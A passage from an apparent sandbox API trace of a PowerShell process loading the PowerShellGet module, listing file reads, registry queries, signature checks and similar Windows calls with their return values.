lpOldMode=0x59eed8c) returned 1 [0113.962] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c8 [0113.962] GetFileType (hFile=0x3c8) returned 0x1 [0113.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eed88) returned 1 [0113.962] GetFileType (hFile=0x3c8) returned 0x1 [0113.963] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59eedc8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59eedc8*=0) returned 0x0 [0113.963] ReadFile (in: hFile=0x3c8, lpBuffer=0x238e518, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59eedf4, lpOverlapped=0x0 | out: lpBuffer=0x238e518*, lpNumberOfBytesRead=0x59eedf4*=0x1000, lpOverlapped=0x0) returned 1 [0114.026] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59eedc8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59eedc8*=0) returned 0x1000 [0114.026] ReadFile (in: hFile=0x3c8, lpBuffer=0x238e518, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59eedf4, lpOverlapped=0x0 | out: lpBuffer=0x238e518*, lpNumberOfBytesRead=0x59eedf4*=0xde, lpOverlapped=0x0) returned 1 [0114.026] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59eedc8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59eedc8*=0) returned 0x10de [0114.026] ReadFile (in: hFile=0x3c8, lpBuffer=0x238e518, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59eedf4, lpOverlapped=0x0 | out: lpBuffer=0x238e518*, lpNumberOfBytesRead=0x59eedf4*=0x0, lpOverlapped=0x0) returned 1 [0114.027] CloseHandle (hObject=0x3c8) returned 1 [0114.030] CoCreateGuid (in: pguid=0x59eee34 | out: pguid=0x59eee34*(Data1=0xfaf22eae, Data2=0x3908, Data3=0x4a3b, Data4=([0]=0xab, [1]=0xeb, [2]=0xb8, [3]=0x21, [4]=0x80, [5]=0xe6, [6]=0xcc, [7]=0xf6))) returned 0x0 [0114.036] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3c8 [0114.037] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3e8 [0114.037] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3ec [0114.037] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3f0 [0114.037] SetEvent (hEvent=0x3f0) returned 1 [0114.037] SetEvent (hEvent=0x3c8) returned 1 [0114.037] SetEvent (hEvent=0x3e8) returned 1 [0114.037] SetEvent (hEvent=0x3ec) returned 1 [0114.038] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3f4 [0114.038] SetThreadUILanguage (LangId=0x0) returned 0x409 [0114.139] EtwEventActivityIdControl () returned 0x0 [0114.139] EtwEventActivityIdControl () returned 0x0 [0114.139] EtwEventActivityIdControl () returned 0x0 [0114.242] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0114.280] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0114.280] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0114.280] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x59ee76c, Length=0x20, ResultLength=0x59ee7dc | out: SystemInformation=0x59ee76c, ResultLength=0x59ee7dc*=0x0) returned 0xc0000003 [0114.281] GetSystemInfo (in: lpSystemInfo=0x59ee7e8 | out: lpSystemInfo=0x59ee7e8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0114.281] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ee778 | out: phkResult=0x59ee778*=0x3f8) returned 0x0 [0114.281] RegQueryValueExW (in: hKey=0x3f8, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x59ee794, lpData=0x0, lpcbData=0x59ee790*=0x0 | out: lpType=0x59ee794*=0x0, lpData=0x0, lpcbData=0x59ee790*=0x0) returned 0x2 [0114.281] RegCloseKey (hKey=0x3f8) returned 0x0 [0114.287] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0114.287] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0114.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee6f0) returned 1 [0114.287] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3f8 [0114.287] GetFileType (hFile=0x3f8) returned 0x1 [0114.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee6ec) returned 1 [0114.288] GetFileType (hFile=0x3f8) returned 0x1 [0114.288] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ee72c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ee72c*=0) returned 0x0 [0114.289] ReadFile (in: hFile=0x3f8, lpBuffer=0x23b1b30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ee758, lpOverlapped=0x0 | out: lpBuffer=0x23b1b30*, lpNumberOfBytesRead=0x59ee758*=0x1000, lpOverlapped=0x0) returned 1 [0114.289] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ee72c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ee72c*=0) returned 0x1000 [0114.289] ReadFile (in: hFile=0x3f8, lpBuffer=0x23b1b30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ee758, lpOverlapped=0x0 | out: lpBuffer=0x23b1b30*, lpNumberOfBytesRead=0x59ee758*=0xde, lpOverlapped=0x0) returned 1 [0114.289] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ee72c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ee72c*=0) returned 0x10de [0114.289] ReadFile (in: hFile=0x3f8, lpBuffer=0x23b1b30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ee758, lpOverlapped=0x0 | out: lpBuffer=0x23b1b30*, lpNumberOfBytesRead=0x59ee758*=0x0, lpOverlapped=0x0) returned 1 [0114.290] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x59ee6c0, Length=0x20, ResultLength=0x59ee730 | out: SystemInformation=0x59ee6c0, ResultLength=0x59ee730*=0x0) returned 0xc0000003 [0114.290] GetSystemInfo (in: lpSystemInfo=0x59ee73c | out: lpSystemInfo=0x59ee73c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0114.290] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ee6cc | out: phkResult=0x59ee6cc*=0x3fc) returned 0x0 [0114.290] RegQueryValueExW (in: hKey=0x3fc, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x59ee6e8, lpData=0x0, lpcbData=0x59ee6e4*=0x0 | out: lpType=0x59ee6e8*=0x0, lpData=0x0, lpcbData=0x59ee6e4*=0x0) returned 0x2 [0114.290] RegCloseKey (hKey=0x3fc) returned 0x0 [0114.290] CloseHandle (hObject=0x3f8) returned 1 [0114.292] CoCreateGuid (in: pguid=0x59ee7bc | out: pguid=0x59ee7bc*(Data1=0xcb9ce4b9, Data2=0xe180, Data3=0x4e9c, Data4=([0]=0x89, [1]=0xcd, [2]=0xab, [3]=0x96, [4]=0x2, [5]=0x50, [6]=0x5, [7]=0xe3))) returned 0x0 [0114.296] QueryPerformanceCounter (in: lpPerformanceCount=0x59ee51c | out: lpPerformanceCount=0x59ee51c*=1175527355688) returned 1 [0114.296] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0114.297] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0114.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee208) returned 1 [0114.297] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59ee4cc | out: lpFileInformation=0x59ee4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0114.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee204) returned 1 [0114.297] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0114.297] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0114.297] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0114.297] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0114.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee19c) returned 1 [0114.297] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59ee460 | out: lpFileInformation=0x59ee460*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0114.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee198) returned 1 [0114.297] CoTaskMemAlloc (cb=0x10) returned 0x4f0d528 [0114.297] CoTaskMemAlloc (cb=0x10) returned 0x4f0d588 [0114.297] CoTaskMemAlloc (cb=0xb4) returned 0x5284a8 [0114.298] CoTaskMemAlloc (cb=0x30) returned 0x4f1dc08 [0114.298] WinVerifyTrust () returned 0x800b0100 [0114.336] CoTaskMemFree (pv=0x4f0d528) [0114.336] CoTaskMemFree (pv=0x4f1dc08) [0114.336] CryptCATHandleFromStore () returned 0x4fef58 [0114.336] WTHelperGetProvSignerFromChain () returned 0x0 [0114.336] CoTaskMemAlloc (cb=0x10) returned 0x4f0d528 [0114.336] CoTaskMemAlloc (cb=0x30) returned 0x4f1dc08 [0114.336] WinVerifyTrust () returned 0x0 [0114.336] CoTaskMemFree (pv=0x4f1dc08) [0114.336] CoTaskMemFree (pv=0x4f0d528) [0114.336] CoTaskMemFree (pv=0x5284a8) [0114.336] CoTaskMemFree (pv=0x4f0d588) [0114.601] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en-us\\powershellget.psd1")) returned 0xffffffff [0114.602] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en\\powershellget.psd1")) returned 0xffffffff [0114.683] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0114.688] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0114.691] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0114.691] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0114.691] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0114.691] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", nBufferLength=0x47, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", lpFilePart=0x0) returned 0x46 [0114.782] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ede58 | out: phkResult=0x59ede58*=0x3f8) returned 0x0 [0114.783] RegQueryValueExW (in: hKey=0x3f8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ede78, lpData=0x0, lpcbData=0x59ede74*=0x0 | out: lpType=0x59ede78*=0x1, lpData=0x0, lpcbData=0x59ede74*=0x56) returned 0x0 [0114.783] RegQueryValueExW (in: hKey=0x3f8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ede78, lpData=0x23de0b0, lpcbData=0x59ede74*=0x56 | out: lpType=0x59ede78*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59ede74*=0x56) returned 0x0 [0114.783] RegCloseKey (hKey=0x3f8) returned 0x0 [0114.787] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0114.849] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0114.850] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0114.851] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ede58 | out: phkResult=0x59ede58*=0x3f8) returned 0x0 [0114.851] RegQueryValueExW (in: hKey=0x3f8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ede78, lpData=0x0, lpcbData=0x59ede74*=0x0 | out: lpType=0x59ede78*=0x1, lpData=0x0, lpcbData=0x59ede74*=0x56) returned 0x0 [0114.851] RegQueryValueExW (in: hKey=0x3f8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59ede78, lpData=0x23eb884, lpcbData=0x59ede74*=0x56 | out: lpType=0x59ede78*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59ede74*=0x56) returned 0x0 [0114.851] RegCloseKey (hKey=0x3f8) returned 0x0 [0114.854] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0114.859] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0114.863] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0114.868] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0114.872] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Resource.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.resource.psd1")) returned 0x20 [0114.876] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Resource.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.resource.psd1")) returned 0x20 [0114.882] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0114.882] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", nBufferLength=0x5b, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x5a [0114.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59edc58) returned 1 [0114.882] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x59edf1c | out: lpFileInformation=0x59edf1c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0114.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59edc54) returned 1 [0114.986] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0115.020] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0115.020] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x55, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x54 [0115.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ed780) returned 1 [0115.020] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), fInfoLevelId=0x0, lpFileInformation=0x241a9ec | out: lpFileInformation=0x241a9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499c9860, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8caa9)) returned 1 [0115.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ed77c) returned 1 [0115.021] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0115.021] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x55, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x54 [0115.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ed924) returned 1 [0115.021] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3f8 [0115.021] GetFileType (hFile=0x3f8) returned 0x1 [0115.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ed920) returned 1 [0115.021] GetFileType (hFile=0x3f8) returned 0x1 [0115.022] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x0 [0115.022] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.022] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x1000 [0115.022] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.073] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x2000 [0115.073] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.074] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x3000 [0115.074] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, 